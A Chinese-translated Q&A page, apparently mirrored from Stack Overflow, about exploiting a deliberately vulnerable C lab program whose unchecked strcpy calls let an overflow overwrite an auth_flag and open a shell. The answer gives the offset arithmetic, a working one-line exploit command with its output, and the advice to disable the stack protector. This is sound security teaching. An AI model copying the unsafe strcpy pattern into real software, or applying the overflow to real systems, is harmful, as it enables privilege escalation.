![](/img/trans.png)
[英]How could a local user on a host use a buffer overflow attack to get root access to the host?
[英]How to get root access by buffer overflow attack?
如何對此進行緩沖區溢出攻擊以獲得 root 訪問權限。 我試圖找到一個地址,但沒有找到很多線索。 我禁用了 ASLR,並且在編譯時也沒有使用堆棧指針。 當我輸入超過 16 個字節時,它在 gdb 中給出了分段錯誤:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif
int check_authentication(char *username, char *password) {
int auth_flag = 0;
char team_var[TEAM_VAR_SIZE];
char username_buffer[16];
char password_buffer[16];
strcpy(username_buffer, username);
strcpy(password_buffer, password);
if(strcmp(username_buffer, "This doesn't matter") == 0 && strcmp(password_buffer, "neither does this") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <username> <password>\n", argv[0]);
exit(0);
}
if(TEAM_VAR_SIZE == 0) {
printf("\nPlease set the Team Var before moving forward with the lab.\n");
}
if(check_authentication(argv[1], argv[2]) == 1) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
system("/bin/sh");
} else {
printf("\nAccess Denied.\n");
}
}
您可以使用由不安全的strcpy(username_buffer, username)
引起的緩沖區溢出來重寫auth_flag
。 需要向username_buffer
長度(16)添加 412 個字節:410 用於team_var
緩沖區,2 用於填充( sizeof(int) = 4
大於或等於 410 的最小倍數為 412)。
$ ./test "$(printf '%0*d\x1' $((16 + 412)) 0)" "x"
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$
如果遇到以下錯誤:
*** stack smashing detected ***: <unknown> terminated
那么您需要使用以下 GCC 標志編譯您的程序: -fno-stack-protector
。 金絲雀是防止攻擊者在堆棧上進行緩沖區溢出的安全措施。 它在緩沖區的末尾添加一個隨機值,以防止用戶重寫堆棧上的返回地址和/或變量。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.